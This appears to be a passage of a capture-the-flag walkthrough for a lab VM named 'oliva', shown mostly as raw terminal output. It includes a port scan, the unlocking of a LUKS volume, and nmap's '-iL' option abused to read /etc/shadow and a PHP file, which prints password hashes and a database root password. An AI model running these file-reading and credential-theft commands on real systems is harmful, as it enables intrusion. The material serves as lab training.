┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -sV -p- -A 192.168.56.113 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 02:06 EDT Nmap scan report for 192.168.56.113 Host is up (0.00061s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 6d:84:71:14:03:7d:7e:c8:6f:dd:24:92:a8:8e:f7:e9 (ECDSA) |_ 256 d8:5e:39:87:9e:a1:a6:75:9a:28:78:ce:84:f7:05:7a (ED25519) 80/tcp open http nginx 1.22.1 ###开放了80端口 |_http-server-header: nginx/1.22.1 |_http-title: Welcome to nginx! MAC Address: 08:00:27:F2:63:91 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.61 ms 192.168.56.113
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.89 seconds
❯ sudo cryptsetup luksOpen oliva test Enter passphrase for oliva: No key available with this passphrase. Enter passphrase for oliva: ❯ mount /dev/mapper/test /mnt mount: /mnt: must be superuser to use mount. dmesg(1) may have more information after failed mount system call. ❯ sudo mount /dev/mapper/test /mnt ❯ ls -al /mnt total 18 drwxr-xr-x 3 root root 1024 Jul 4 2023 . drwxr-xr-x 23 root root 4096 Dec 10 19:39 .. drwx------ 2 root root 12288 Jul 4 2023 lost+found -rw-r--r-- 1 root root 16 Jul 4 2023 mypass.txt ❯ cat /mnt/mypass.txt Yesthatsmypass!
oliva@oliva:~$ /usr/bin/nmap -iL /etc/shadow Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-14 17:45 CEST Failed to resolve "root:$y$j9T$mJZXSkk0PjMpjwgunTu3a.$xlW8pdbOdxHdqCatq072mj3qQ69To4Gy6WbRwSbY6S3:19542:0:99999:7:::". Failed to resolve "daemon:*:19542:0:99999:7:::". Failed to resolve "bin:*:19542:0:99999:7:::". Failed to resolve "sys:*:19542:0:99999:7:::". Failed to resolve "sync:*:19542:0:99999:7:::". Failed to resolve "games:*:19542:0:99999:7:::". Failed to resolve "man:*:19542:0:99999:7:::". Failed to resolve "lp:*:19542:0:99999:7:::". Failed to resolve "mail:*:19542:0:99999:7:::". Failed to resolve "news:*:19542:0:99999:7:::". Failed to resolve "uucp:*:19542:0:99999:7:::". Failed to resolve "proxy:*:19542:0:99999:7:::". Failed to resolve "www-data:*:19542:0:99999:7:::". Failed to resolve "backup:*:19542:0:99999:7:::". Failed to resolve "list:*:19542:0:99999:7:::". Failed to resolve "irc:*:19542:0:99999:7:::". Failed to resolve "_apt:*:19542:0:99999:7:::". Failed to resolve "nobody:*:19542:0:99999:7:::". Failed to resolve "systemd-network:!*:19542::::::". Failed to resolve "systemd-timesync:!*:19542::::::". Failed to resolve "messagebus:!:19542::::::". Failed to resolve "sshd:!:19542::::::". Unable to split netmask from target expression: "oliva:$y$j9T$pud/moDgqqEeyht8CXkZE/$6EY/SqVpTsaEnPKnCxbsdCi8ImRvV86ip0LWF.8.vhD:19542:0:99999:7:::" Failed to resolve "mysql:!:19542::::::". WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.04 seconds
oliva@oliva:/var/www/html$ /usr/bin/nmap -iL index.php Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-14 17:59 CEST Failed to resolve "Hi". Failed to resolve "oliva,". Failed to resolve "Here". Failed to resolve "the". Failed to resolve "pass". Failed to resolve "to". Failed to resolve "obtain". Failed to resolve "root:". Failed to resolve "<?php". Failed to resolve "$dbname". Failed to resolve "=". Failed to resolve "'easy';". Failed to resolve "$dbuser". Failed to resolve "=". Failed to resolve "'root';". Failed to resolve "$dbpass". Failed to resolve "=". Failed to resolve "'Savingmypass';". Failed to resolve "$dbhost". Failed to resolve "=". Failed to resolve "'localhost';". Failed to resolve "?>". Failed to resolve "<a". Unable to split netmask from target expression: "href="oliva">CLICK!</a>" WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.06 seconds
oliva@oliva:/var/www/html$ mysql -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 11 Server version: 10.11.3-MariaDB-1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use easy Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A